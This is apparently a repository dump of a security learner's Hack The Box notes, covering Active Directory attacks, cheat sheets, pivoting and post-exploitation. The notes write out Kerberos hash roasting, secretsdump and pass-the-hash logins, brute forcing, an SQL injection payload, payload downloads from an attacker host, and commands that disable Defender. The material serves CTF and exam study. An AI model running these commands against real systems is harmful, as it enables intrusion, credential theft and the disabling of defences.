Repository: dhaneshsivasamy07/hackthebox
Branch: master
Commit: 0c1107de282f
Files: 39
Total size: 98.2 KB
Directory structure:
gitextract_dy92f1ou/
├── LICENSE
├── README.md
├── notes/
│ ├── Active Directory.md
│ ├── Commands.md
│ ├── Docker Commands.md
│ ├── Git Commands.md
│ ├── Password Cracking.md
│ ├── Pivoting.md
│ ├── PostExploitationCommands.md
│ ├── README.md
│ ├── Regular Commands.md
│ ├── Reverse Shell.md
│ ├── Reversing.md
│ └── linux-cli-productivity.md
├── scripts/
│ ├── README.md
│ ├── hackthebox/
│ │ ├── arkham.py
│ │ ├── htb-machines.py
│ │ ├── name_grab.py
│ │ ├── nc-portscan.sh
│ │ ├── rev-shells.py
│ │ ├── snapwr3nch.py
│ │ ├── travel.py
│ │ ├── wr3nch.py
│ │ └── xpath-inj.py
│ ├── installation/
│ │ ├── docker-linux.sh
│ │ ├── docker-parrot.sh
│ │ ├── docker-standard.sh
│ │ ├── fping-install.sh
│ │ ├── pwntools-python3.sh
│ │ ├── python2-pip.sh
│ │ └── python3-pip.sh
│ └── misc/
│ ├── adapter.sh
│ ├── bashrc_custom
│ ├── fix-bg-noise-obs.sh
│ ├── pdf-protect.sh
│ ├── report-gen.md
│ └── report.sh
└── tools/
├── README.md
└── tools.md
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2020 Dhanesh Sivasamy
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# hackthebox
[](https://opensource.org/licenses/MIT)
 <br />



Notes Taken for HTB Machine<br />
Will be periodiclly updated, created with the intend of unwraping all possible ways and to prep for exams<br />
Yet More to be updated<br />
created & maintained by: **cyberwr3nch**
# Contents
- [Command Reference](https://github.com/cyberwr3nch/hackthebox/tree/master/notes)
- [Tools](https://github.com/cyberwr3nch/hackthebox/tree/master/tools)
- [Writeups](https://github.com/cyberwr3nch/writeups/tree/main/htb)
#### SAY NO TO MSF !
#### nvm this
Constantly updating from *MAY 3<sup>rd</sup> 2020*
# Thanks for visiting
A noob _cyberwr3nch🔧_
A member of **TCSC**
Learn and Spread <3
``` xoxo💙```
### Support My contents
<a href="https://www.buymeacoffee.com/cyberwr3nch" target="_blank"><img align="left" alt="Dhanesh Sivasamy's Twitter" width="120px" src="https://cdn.buymeacoffee.com/buttons/v2/default-blue.png"></a>
================================================
FILE: notes/Active Directory.md
================================================
## Active Directory
### Machine workflow
- [Tools](#too)
- [Enumerate Ports and Shares](#enum)
- [Identify valid users](#user)
- [Obtain users has who have kerberos pre auth set](#gnp)
- [Crack the hash to obtain the password](#cra)
- [Repeat Recon](#rrpc)
- [Enumerate other users in the network](#enumu)
- [Remote login if hash is obtained](#pwn)
### Required Tools <a name='too'></a>
- [Impackets](https://github.com/SecureAuthCorp/impacket)
- [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
- [Kerbrute](https://github.com/ropnop/kerbrute)
- [Windsearch](https://github.com/ropnop/go-windapsearch)
- [EvilWinRM](https://github.com/Hackplayers/evil-winrm)
- [BloodHound.py](https://github.com/fox-it/BloodHound.py)
### Enumeration Ports <a name="enum"></a>
```bash
# nmap
nmap -p- --min-rate=1000 -oN ports -vv <machine-ip>
# sorting ports
open=$(cat ports | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//))
# enumerate services
nmap -sC -sV -p$open -oN nmap.out -T4 -vv <machine-ip>
```
### Anonymous Access
```bash
# crackmapexec
crackmapexec smb <machine-ip> -u'' -p'' <machine-ip> --shares
# smbclient
smbclinet -N -L \\<machine-ip>\\
#rpcclinet
rpcclient -U '' -P'' <machine-ip> # logs into the network if anon login is permitted
rpcclinet $> enumdomusers # enumerates the AD users
```
### Accessing a SMB Share
```bash
# smbclient
smbclient \\\\<machine-ip>\\<share-name>
```
### User Enumeration <a name='user'></a>
- kerbrute
```bash
# no authentication is required, just the user name list
# enumerate AD users with kerbrute
kerbrute userenum --dc 10.10.*.* -d <domain-name> <username(s)>
```
### Mounting an open share
```bash
# mount an anonymous login share
sudo mount -t cifs '//10.10.*.*/ShareName' /<mount-location>
```
### Kerberos Hacking <a name="gnp"></a>
```bash
# after obtaining valid users, look for users with kerberos preauth set
GetNPUsers.py -dc-ip <machine-ip> -format hashcat -usersfile <username(s)> <domain-name>/ -outputfile <hash-output>
```
### Obtaining Password <a name="cra"></a>
```bash
# cracking with hashcat
# TGT hash crack
hashcat -m 18200 -w /usr/share/wordlists/rockyou.txt <hash-file>
# SPN hash crack
hashcat -m 13100 -w /usr/share/wordlists/rockyou.txt <hash-file>
# cracking with JOHN THE RIPPER
# TGT hash crack
john --format=krb5tgs -w=/usr/share/wordlists/rockyou.txt <hash-file>
```
### Recon as a user in network <a name='rrpc'></a>
```bash
# since we have the user credentials for a user in the AD network, recon again to obtain files with specific permissions
# enumerate smb shares
crackmapexec smb <machine-ip> -u '<username>' -p '<password>' --shares
# accessing smb share
smbclient -L \\\\<machine-ip>\\<share-name> -U <username> <password>
# mounting the share
sudo mount -t cifs -o 'username=UserName,password=Password' '//10.10.*.*/ShareName' /<mount-location>
# enumerate anything ¯\_(ツ)_/¯ with windsearch
windsearch -d <domain-name> -u <user-name> -p <password> -m <module>
```
### Enumerate other users <a name="enumu"></a>
```bash
# a valid login into the network is required
# getadusers.py from impackets
GetADUsers.py --all -dc-ip <machine-ip> <domain-name>/<username>:<password> # TGT will be obtained which can be cracked offline
# enumerate service name principles
GetUserSPNs.py -request -dc-ip <machine-ip> <domain-name>/<username>:<password> # SPN hash will be obtained which can be cracked offline
# via rpcclient
rpcclient -U <username> -P <password> <machine-ip> #logged into the network
rpcclinet $> enumdomusers # enumerate users in the active directory environment
# crackmapexec
crackmapexec smb <machine-ip> -u <username> -p <password> --users
# windsearch
windsearch -d <domain-name> -u <user-name> -p <password> -m users
```
### Bloodhound Enumeration <a name='bh'></a>
```bash
# setup
git clone https://github.com/fox-it/BloodHound.py; cd BloodHound.py; python3 setup.py install
# Running bloodhound.py (run on linux)
python3 bloodhound.py -u <username> -p <password> -ns <machine-ip> -d <domain> -c all
```
```powershell
# with sharpsploit
powershell -ep bypass
import-module .\SharpHound.ps1
invoke-bloodhound -collectionmethod all -domain <domain-name> -ldapuser <user-name> -ldappass <password>
```
```bash
# start the neo4j console
sudo ne04j console
# start the bloodhound
cd /opt/bloodhound-linux-x64/
./BloodHound
# import all the json files
# mark the obtained user as owned user and the target user as high value target
```
### Owning the machine <a name='pwn'></a>
```bash
# perform bloodhound enumeration
# if the access to the backup account is obtained,
secretsdump.py -dc-ip <machine-ip> -just-dc <domain-name>/backup:<password>@<domain-name>
# login to the machine
# psexec.py
# with password
psexec.py <domain-name>/<username>:<password>@<domain-namee>
# with ntlm hash
psexec.py -hashes <ntml:hashes> <username>@<domain-name> -target-ip <machine-ip> -dc-ip <machine-ip>
psexec.py -hashes <ntlm:hashes> <username>@<machine-ip>
# evilwinrm
# with password
evilwinrm -i <machine-ip> -u <username> -p <password>
# with ntlm hash
evilwinrm -i <machine-ip> -H <ntlm hash from secretsdump> -u <username>
```
### Misc
#### Bruteforce
##### Hydra
```bash
# bruteforcing smb login
hydra -L users.txt -P pass.txt 10.10.*.* smb
```
##### Crackmapexec
```bash
# bruteforcing smb login, enumerating the available shares with --shares option
crackmapexec smb 10.10.*.* -u user.txt -p pass.txt --shares --continue-on-success
# bruteforcing winrm login
crackmapexec winrm 10.10.*.* -u users.txt -p pass.txt --continue-on-success
```
##### Medusa
```bash
# bruteforcing smb login
medusa -h 10.10.*.* -U users.txt -P pass.txt -M smbnt
```
#### File Transfer
##### SMB Service
```bash
# start a smb service in linux
# anonymous share
smbserver.py <share-name> . -smb2support
# authenticated share
smbserver.py <share-name> . -smb2support -username <username> -password <password>
# connect to the smbshare in windows
# anonymous share
net use x: \\<linux-ip>\<share-name>
# authenticated share
net use x: \\<linux-ip>\<share-name> /u:<username> <password>
# Copy file from windows to linux
copy <file-in-windows> \\<linux-ip>\<share-name>\
# copy files from linux to windows
copy \\<linux-ip>\<share-name>\<file.ext> .
```
<<<<<<< HEAD
##### Useful Links
- https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
- https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/
- https://cheatsheet.haax.fr/windows-systems/exploitation/kerberos/
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
=======
##### useful links
- https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
- https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/
- https://cheatsheet.haax.fr/windows-systems/exploitation/kerberos/
>>>>>>> dea41aa2b59fa497c70e9445f4c39b70a290ee5c
================================================
FILE: notes/Commands.md
================================================
# Commands
- [Port Scanning](#ps)
- [21 - FTP Port](#ftp)
- [53 - DNS Port](#dns)
- [139/445 - Samba/SMB](#smb)
- [Directory Enumeration](#dir)
- [Login BruteForce](#log)
- [Sql Injection](#si)
- [Active Directory](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Active%20Directory.md)
- [File Transfer](#ft)
### Port Scanning <a name='ps'></a>
#### Tools Required
- [Nmap](https://nmap.org/download.html)
- [Rustscan](https://github.com/RustScan/RustScan/wiki/Installation-Guide#%EF%B8%8F-debian--kali)
```bash
# port scanning with nmap
# full tcp port scan
nmap -p- --min-rate=1000 -vv -Pn <machine-ip>
# full udp port scan
nmap -p- -sU -vv -Pn <machine-ip>
nmap -p<enumerated-ports> -sC -sV -oN services.nmap <machine-ip>
# rustscan
# installation frorm above
rustscan -a <machine-ip>
nmap -p<enumerated-ports> -sC -sV -oN services.nmap <machine-ip>
```
### DNS Port <a name='dns'></a>
#### Tools Require
- [Dig](https://linuxhint.com/install_dig_debian_9/)
```bash
# reverse lookup
dig -x <machine-ip> @<machine-ip>
# zone transfer --> output: Subdomains
dns axfr domain.tld @<machine-ip>
```
### FTP Port <a name='ftp'></a>
#### Tools Required
- FTP
```bash
# anonymous login
ftp <machine-ip>
# username anonymous
# password anonymous
# downlaod files recursively without prompt
binary
prompt off
mget *
```
### Samba/SMB Port <a name='smb'></a>
#### Tools Required
- [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation)
- SmbClient
```bash
# check the access of the shares
# set user and password anonymous for anonymous checking
# set user and password for a valid user to enumerate shares as network user
crackmapexec smb <machine-ip> -u user -p password --shares
# access the share which you have permission to
smbclient //<machine-ip>/<share-name> -U user
# password
```
### Directory Enumeration <a name='dir'></a>
#### Tools Required
- [Gobuster](https://github.com/OJ/gobuster/releases/tag/v3.1.0)
- [DirSearch](https://github.com/maurosoria/dirsearch#Installation--Usage)
- [rustbuster](https://github.com/phra/rustbuster/releases)
- [ffuf](https://github.com/ffuf/ffuf)
```bash
# directory enumeration
# wordlist = raft-medium-directories.txt
## gobuster
gobuster dir -u http://<machine-ip> -w wordlist -x php,html -b 404 -t 50 -o gobuster.out
# rustbuster
rustbuster dir -u http://<machine-ip> -w wordlist -e php -S 404,403 -o rustbuster.out
# dirsearch
python3 dirsearch.py -u http://<machine-ip> -w wordlist
# ffuf
ffuf -u http://<machine-ip>/FUZZ -w wordlist -fr 'not'
# subdomain enumeration
# wordlist = subdomains-top-11000.txt
## gobuster
gobuster vhost -w wordlist -u http://<machine-ip> -o gobuster-vhost.out
## ffuf
ffuf -w wordlist -u http://<machine-ip>/ -H "Host: FUZZ.domain.tld" -mc 200
```
### Login Bruteforce <a name="log"></a>
#### Tools Required
- [ffuf](https://github.com/ffuf/ffuf)
- [Hydra](https://github.com/vanhauser-thc/thc-hydra#how-to-compile)
```bash
# wordlist = rockyou.txt
# ffuf
ffuf -u http://<machine-ip>/login-page.php -X POST -d '{"user":"FUZZ", "pass":"FUZZ"}' -w wordlist
# hydra
# loginpage: /squirrelmail/src/login.php
# payload sent during login: login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1 (provided username and password is replaced with ^USER^ & ^PASS^)
# error message: Unknown
hydra -l 'admin' -P wordlist <machine-ip> http-post-form '/{login-page}:{payload sent during login}:{error message}' -v
```
### SQLInjection <a name="si"></a>
#### Tools Required
- [SqlMap](https://sqlmap.org/)
```bash
# capture the login request with burp and save it as login.req
sqlmap -r login.req --level=5 --risk=3 --batch
# manual expoitation
> Capture the request with burp
> The entered paramaters will be url encoded, decode it with <ctrl>+<shift>+<u>
> Enter the payload " ' or 1 = 1 -- - " (simple sql injection payload)
> After changing the payload, url encode it with <ctrl>+<u>
```
### File Transfer <a name="ft"></a>
#### Tools Required
- [Python3](https://www.python.org/downloads/)
- [Impackets](https://github.com/SecureAuthCorp/impacket#installing)
```bash
# between *nix os
# on the attacker machine
python3 -m http.server 8081
# on the victim machine
wget http://<attacker-ip>:<port>/<file>
curl http://<attacker-ip>:<port>/<file> -o <output-file>
#===========================================================#
# from linux to windows
# on the attacker machine
# creates a anonymous login
sudo smbserver.py <share-name> <linux-path> -smb2support
# on the victim machine
copy \\<attacker-ip>\<share-name>\<file> <copy-path-in-windows>
# mount the share in windows
net use x: \\<attacker-ip>\<share-name> /user:<user-name> <password>
copy x:\<file> <copy-path-in-windows>
# from external url
# sometimes fails
powershell -c (new-object System.Net.WebClient).DownloadFile('http://<attacker-ip>/<file>','<download-path-in-windows>')
# works mostly
#@alias
iwr -uri 'http://<attacker-ip>/<file>' -o '<download-path-in-windows>'
#@cmdlet
powershell.exe -command Invoke-WebRequest -Uri 'http://<attacker-ip>/<file>' -OutFile '<download-path-in-windows>'
# using certutil
certutil -urlcache -f 'http://<attacker-ip>/<file>' '<download-path-in-windows>'
```
================================================
FILE: notes/Docker Commands.md
================================================
# Docker Commands
- Installation, scripts can be found [`here`](https://github.com/cyberwr3nch/hackthebox/tree/master/scripts/installation)
- Building a docker file
```bash
# When a Dockerfile is found in a repository, build the docker image
docker build -t <tagname> .
```
- Downloading a docker file
```bash
# pull the latest version
docker pull <container name>
# pull a specific version
docker pull <container name>:<verion>
```
- Running a docker
```bash
# listing the docker images
docker images
# running the container
docker run -it <dockername>
```
- Removing the container
```bash
# list the images to find the image ID
docker rmi <imageID> -f
```
- List running docker instances
```bash
docker ps
```
- Update the Docker when its contents have been altered
```bash
docker update
```
- Run a docker with ports open
```bash
docker run --rm -it -p <port on docker container>:<port on docker host> -p <port start>-<port end>:<port start>-<port end> <imageName>
# single port
docker run --rm -it -p 21:21 <imageName>
# continuous multiple ports
docker run --rm -it -p 21:21 -p 4559-4564:4559-4564 <imageName>
```
##### Resources:
- Docker Chear Sheet by [wsargent](https://github.com/wsargent/docker-cheat-sheet/blob/master/README.md)
================================================
FILE: notes/Git Commands.md
================================================
# Git Commands
- [Ctf / Inspection usage](#ctf)
- [Normal / Dev usage](#dev)
## CTF Usage <a name="ctf"> </a>
- Inspect a .git rep
```bash
git status
```
- Identify the commit ids and the messages
```bash
git log
```
- Get the commit ids and the messages ( without author name and date )
```bash
git log --oneline
```
- Get the log information prettier ( added and deleted infomration )
```bash
git log -p
```
- Get the log information prettier ( without author name and date information )
```bash
git log --pretty=oneline
```
- Inspect a specific commit ID
```bash
git log -p <commi ID>
```
- Checkout at a speicific commit ID ( retrive files at that specific commit )
```bash
git checkout <commitID>
# when error pops out use --force
git checkout --force <commitID>
```
- Restore the git to the specific version
```bash
git reset --hard <commitID>
```
## Normal Usage <a name="dev"></a>
- Clone a repository
```bash
git clone <repo link>
```
- Initialize the repository
```bash
git init
```
- Update a repository
```bash
git pull
```
- Add the copied files to the git
```bash
git add .
```
- Commit a message
```bash
git commit -m "message"
```
- Upload the git to github
```bash
git push -u origin master --force
```
- Searching for deleted file/ the commit ID when deleting an object
```bash
git log --diff-filter=D --summary
```
- Know the origin / url of a repository
```bash
git config --get remote.origin.url
```
================================================
FILE: notes/Password Cracking.md
================================================
### Password Cracking
- hashcat
- John
```bash
# get the mode of cracking with hashcat
hashcat --example-hashes | grep -B4 'hash_starting'
# crack the hashes with the specified mode
hashcat -m xxxx hashes.txt /usr/share/wordlists/rockyou.txt
# view the cracked password when hashcat is done cracking
hashcat -m xxxx hashes.txt --show
```
```bash
# crack hashes with John
john -w=/usr/share/wordlists/rockyou.txt hashes.txt
```
```bash
# crack the password protected zip file
zip2john \<zipfile\> \> zipfile.hash
john --format=zip zipfile.hash --wordlist=/usr/share/wordlists/rockyou.txt
```
================================================
FILE: notes/Pivoting.md
================================================
### Network Pivoting
<p align="center">
<img src="https://miro.medium.com/max/700/1*exRPwGYJpGv6eESldShwzQ.png"/><br />
Image from Vickie Li's <a href="https://medium.com/swlh/proxying-like-a-pro-cccdc177b081">post</a></p>
**Summary:**
- Network pivoting is the process of accessing an internal machine with the help of the compromised machine.
- Connection lies between the compromised machine and the internal machine, and no direct connection will be available from the attacker machine to the internal machine
- So in order to access the internal machine, we will make use of the compromised machine which has access to the internal machine
**Dynamic Port Forwarding:**
```bash
Dynamic Port Forwarding is the third major method of port redirection with SSH.
Where as previously both local and remote port forwarding allowed interaction with a single port,
dynamic allows a full range of TCP communication across a range of ports.
The tool proxychains is also used to force any program you wish to use through the dynamic proxy.
```
**Requirements:**
- To directly access the internal machine from the attacker machine, we can make the compromised machine as a proxy server and make all our requests to go via the compromised server to the internal machine
- To perform this we need an `ssh / chisel service` and `proxychains` in attacker machine
- If chisel is not available in the target machine, [chisel](https://github.com/jpillora/chisel/releases/tag/v1.7.4) release page
**Procedure:**
- Transfer the `chisel` binary to the compromised machine
- On the Attacker machine:
```bash
# attacker IP: 192.168.1.1
# syntax: ./chisel server -p {port} --reverse
./chisel server -p 1337 --reverse
```
- On the compromised machine
```bash
# syntax: chisel client {attacker IP}:{port on chisel server} R:socks
./chisel client 192.168.1.1:1337 R:socks # on a debian based machine
chisel.exe client 192.168.1.1:1337 R:socks # on a windows machine
```
- On successful connection, the chisel server running on the attacker machine will pop the message
```bash
2021/01/15 17:11:47 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
```
- The message implies that the connection is made via a socks proxy on the port `1080` which is a default proxy for the chisel
- Add the following line in the `/etc/proxychains.conf`
```bash
socks5 127.0.0.1 1080
```
- Now Whenever a command is executed in the attacker machine with mentioning the proxychains,
```bash
kali -> proxychains:1080 -> compromised_machine:1080 -> request for accessing from internal_machine -> internal_machine:80
```
<p align="center">
<img src="https://github.com/cyberwr3nch/hackthebox/blob/master/scripts/files/Pivoting.jpg"/> <br />
Image by <a href="https://github.com/cyberwr3nch">cyberwr3nch</a></p>
**Syntax:**
```bash
# nmap port scan
proxychains nmap -p22,80,8080,21,443,445 -sT internal_machinesIP
# opening internal_machine webserver
proxychains firefox internal_machinesIP:80
```
### Live Example
- Machines used, bucket and Jewel from [htb](https://hackthebox.eu)
<p align="center">
<img src="https://github.com/cyberwr3nch/hackthebox/blob/master/scripts/files/pivoting-log.jpg"/> <br />
Image by <a href="https://github.com/cyberwr3nch">cyberwr3nch</a></p>
- Summary of the pivot
<p align="center">
<img src="https://github.com/cyberwr3nch/hackthebox/blob/master/scripts/files/pivot-summary.jpg"/> <br />
Image by <a href="https://github.com/cyberwr3nch">cyberwr3nch</a></p>
<h5>Thanks <a href="https://github.com/adithyan-ak">@adithyan-ak</a> for binding me in</h5>
================================================
FILE: notes/PostExploitationCommands.md
================================================
### Command Reference
| Description | Unix | CMD | Powershell |
| -- | -- | -- | -- |
| User Logged in | whoami | echo %username% | $env:username|
| | | | [System.Security.Principal.WindowsIdentity]::GetCurrent().Name |
| Change Directory | cd \<path\> | cd \<path\> | Set-Location \<path\> |
| Lis the directory | ls | dir | Get-ChildItem |
| View file contents | cat \<file\> | type \<file\> | Get-Content \<file\> |
| Move files | mv \<file.org\> \<file.mov\> | move \<file.org\> \<file.mov\> | Move-Item \<file.org\> \<file.mov\> |
| Clear Screen | clear | cls | Clear-Host |
| Copy files | cp \<file.org\> \<file.cpy\> | copy \<file.org\> \<file.cpy\> | Copy-Item \<file.org\> \<file.cpy\> |
| Delete files | rm \<file\> | del \<file\> | Remove-Item \<file\>|
| Web Requests | curl \<url\> | | Invoke-WebRequest \<url\> |
| Supress Error messages | cd /Windows32/System 2>/dev/null | cat /etc/shadow 2>nul | Get-Content /etc/passwd -ErrorAction SilentlyContinue |
### Network monitoring
```bash
# network modules info and IPs
ifconfig
ipaddr
# shows the tcp connection
netstat -antp
ss -antp
#netstat -ano ; 0.0.0.0:445 = implies, SMB service is running within the machine and not open for others
#so it is best to perform port forwading and checking those services locally
# windows
netstat -antp
ipconfig
```
### Windows Post Exploit
### Powershell

#### Get to know the current user, which you are logged in
```powershell
# system_name\user_name
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
# user name & system name
$env:UserName
$env:UserDomain
# find exe's in the current directory
# -erroraction 'silentlycontinue' similar to 2>/dev/null
Get-ChildItem -Filter "*.exe" -Recurse -erroraction 'silentlycontinue'
```
#### Disable RealTimeProtection
```powershell
#disables real time protection
Set-MpPreference -DisableRealtimeMonitoring $true
#enables real time protection
Set-MpPreference -DisableRealtimeMonitoring $false
```
### CMD Commands
#### Normal CMD
```powershell
# get current username
whoami
# get system information
systeminfo
# wget for windows
certutil -urlcache -f http://iamserver:port/xxxx.exe xxxx.exe
# grep() for os name
systeminfo | findstr /C:"OS Name"
# locate() for files
findstr /si password *.txt *.ini *.config *.xml *.bat
# locate *.exe's
dir /s /b *.exe
where *.exe
# get the hostname
hostname
# know the priviledges we have
# token impresonate attacks can be donw with this privs
whoami /priv
# know all the users in the machine
net user
# Obtain information about the specific user
net user <username>
# Obtain users belongs to a specific groups
# users belonging to the sudo groups
net localgroup administrators / <group name>
# get to know network
ipconfig
ipconfig /all
# internal network services
netstat -ano
# get to know antivirus
sc query windefend #know about windows defender status (up / down)
sc queryex type= service #brings all the running services in the machine
# get to know about the firewall
netsh show firewall state
# Search for passwords in registry
reg query HKLM /f password /t REG_SZ /s
# port forward using plink.exe -l user -pw password for the user
plink -l root -pw <pass> -R PORT:127.0.0.1:PORT 10.10.x.x
# search for binaries in the machine, like whereis in linux
# rn searching for powershell.exe in C:\Window\System32
where /R C:\windows\System32 powershell.exe
# look for stored credentials in the machine
cmdkey /list
# run as commands, when the creds for the user is stored which can be confirmed with cmdkey /list
runas.exe /user:domain\UserName /savecred "C:\Windows\System32\cmd.exe /c Type C:\Users\UserName\Desktop\(user|root).txt > C:\Users\lowUser\root.txt"
# if SeImpersonate Priviledges is available, use Printspoof
# https://github.com/itm4n/PrintSpoofer
PrintSpoofer.exe -i -c cmd
```
#### CMD commands when wmic is available
```powershell
# updation list
wmic qfc get Caption,Description,HotFixID,InstalledOn
# list disks with wmic
wmic logicaldisk get caption,description,providenBane
```
#### When Port forwarding:
- In the linux machine
```bash
# check ssh installation
sudo apt install ssh
# for a normal user, the ssh login will be smooth
# for a root user, edit the sshd.config
# change from #PermitRootLogin prohibit-password -> PermitRootLogin yes
vi /etc/ssh/sshd_config
# start the ssh service
sudo service ssh start
# check the port forwarded service
netstat -ano
# after forwading the port, if user creds are available try winexe, 127.0.0.1 is given since the particular port is forwarded to out local machine
winexe -U Administrator%<pass> //127.0.0.1 "cmd.exe"
```
#### Resource
##### \*.exe
- [winPEAS.exe]("https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS")
- [Seatbelt.exe]("https://github.com/GhostPack/Seatbelt")
- [Watson.exe]("https://github.com/rasta-mouse/Watson")
- [SharpUp.exe]("https://github.com/GhostPack/SharpUp")
##### \*.ps1
- [Sherlock.ps1]("https://github.com/rasta-mouse/Sherlock")
- [PowerUp.ps1]("https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp")
- [Jaws-enum.ps1]("https://github.com/411Hall/JAWS")
- [PowerUp.ps1]("https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1")
##### Misc
- [Windows-exploit-suggester.py]("https://github.com/AonCyberLabs/Windows-Exploit-Suggester")
- [Windows-Kernal-exploits]("https://github.com/SecWiki/windows-kernal-exploits")
- [CVE's]("https://github.com/nomi-sec/PoC-in-GitHub")
- [winexe]("https://tools.kali.org/maintaining-access/winexe")
- [PsExec]("https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py")
- [SmbExec]("https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py")
- [WmiExec]("https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py")
- [Impersonate PrivEsc]("https://github.com/gtworek/Priv2Admin")
================================================
FILE: notes/README.md
================================================
# TableOfContents
| File | Contents |
| ---- | -------- |
| [Active Directory](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Active%20Directory.md) | Bruteforce SMB, Winrm Bruteforce, AD User Enumeration, Mounting Disks, BloodHound, rpcclinet |
| [Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Commands.md) | port enum, ports, web enum, Login Bruteforce, sqlinj, File transfer|
| [Docker Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Docker%20Commands.md) | installation, building, pulling, updating, deleting, listing, cheatsheet, run with ports open |
| [Git Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Git%20Commands.md) | clone, commit, push, pull, add, log, deleted file, checkout |
| [Password Cracking](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Password%20Cracking.md) | hashcat, john, hashexamples, zip file cracking |
| [Pivoting](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Pivoting.md) | POST Exploitation, Pivoting, Chisel |
| [Post Exploitation](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/PostExploitationCommands.md) | current user, network infos, locate, Antivirus Disabling, registry, priviledges, running process, plink, stored credentials, wmic |
| [Regular Commands](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Regular%20Commands.md) | ls, Grep, AWK, Curl, wget, Compression and decompression of files, Find, xclip, Misc, bashLoops, sed, tr, tail, watch |
| [Reverse Shells](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Reverse%20Shell.md) | Bash TCP, Bash UDP, Netcat, Telnet, Socat, Perl, Python, PHP, Ruby, SSL, Powershell, AWK, TCLsh, Java, LUA, MSF Reverse Shells(war, exe, elf, macho, aspx, jsp, python, sh, perl), Xterm, Magicbytes, Exiftool, Simple PHP oneliners |
| [Reversing](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/Reversing.md)| GDB, Radare |
================================================
FILE: notes/Regular Commands.md
================================================
### Post \ Pre Exploitation
- [ls](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#ls)
- [Grep](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#grep)
- [AWK](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#awk)
- [Curl](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#curl)
- [wget](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#wget)
- [Compression and decompression of files](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#compressing-and-decompressing)
- [Find](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#find)
- [xclip](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#xclip)
- [Misc](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#misc)
- [bashLoops](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#bash-loops)
- [sed](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#sed)
- [tr](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Commands.md#tr)
- [tail](#tail)
- [watch](#watch)
#### ls
```bash
# list files
ls
# list hidden files
ls -la
# list files with human readable size
la -sh
```
#### Grep
```bash
# search for the files that contains the phrase password in it
grep -ir password
grep -iRl "password" ./
# exclude multiple strings
grep -Ev 'exclude1 | exclude 2' filename.txt
# obtain only lines starting with small letters
grep -v '[A-Z]' users.txt
```
#### AWK
```bash
# simple grab based on spaces, damnedsec cyberwr3nch hackthebox
awk '{print $1}' # output damnedsec
# multiple field seperator, obtain things only with in the delimeter
# contents of the file-> user: cyberwr3nch: damnedsec;123
awk -F: '{print $3}' users.txt # output damnedsec;123
# obatain the first occurance with awk
awk -F ':' "/1/ {print $1}"
# contents of users.txt -> user:[BLACKFIELD764430] rid:[0x451],
awk -F"[][]" '{print $2}' users.txt # output: BLACKFIELD764430
# obtain contents from a specific line
# where x is the line number
awk 'NR==x {print $1}'
# print lines form a specific line to the end of the file
awk 'NR>x' users.txt
# omit all the blank lines in a file
awk 'NF'
```
#### Curl
```bash
# make http, http2, http3 requests with curl
curl -vv http://10.10.10.10
curl --http2 http://10.10.10.10
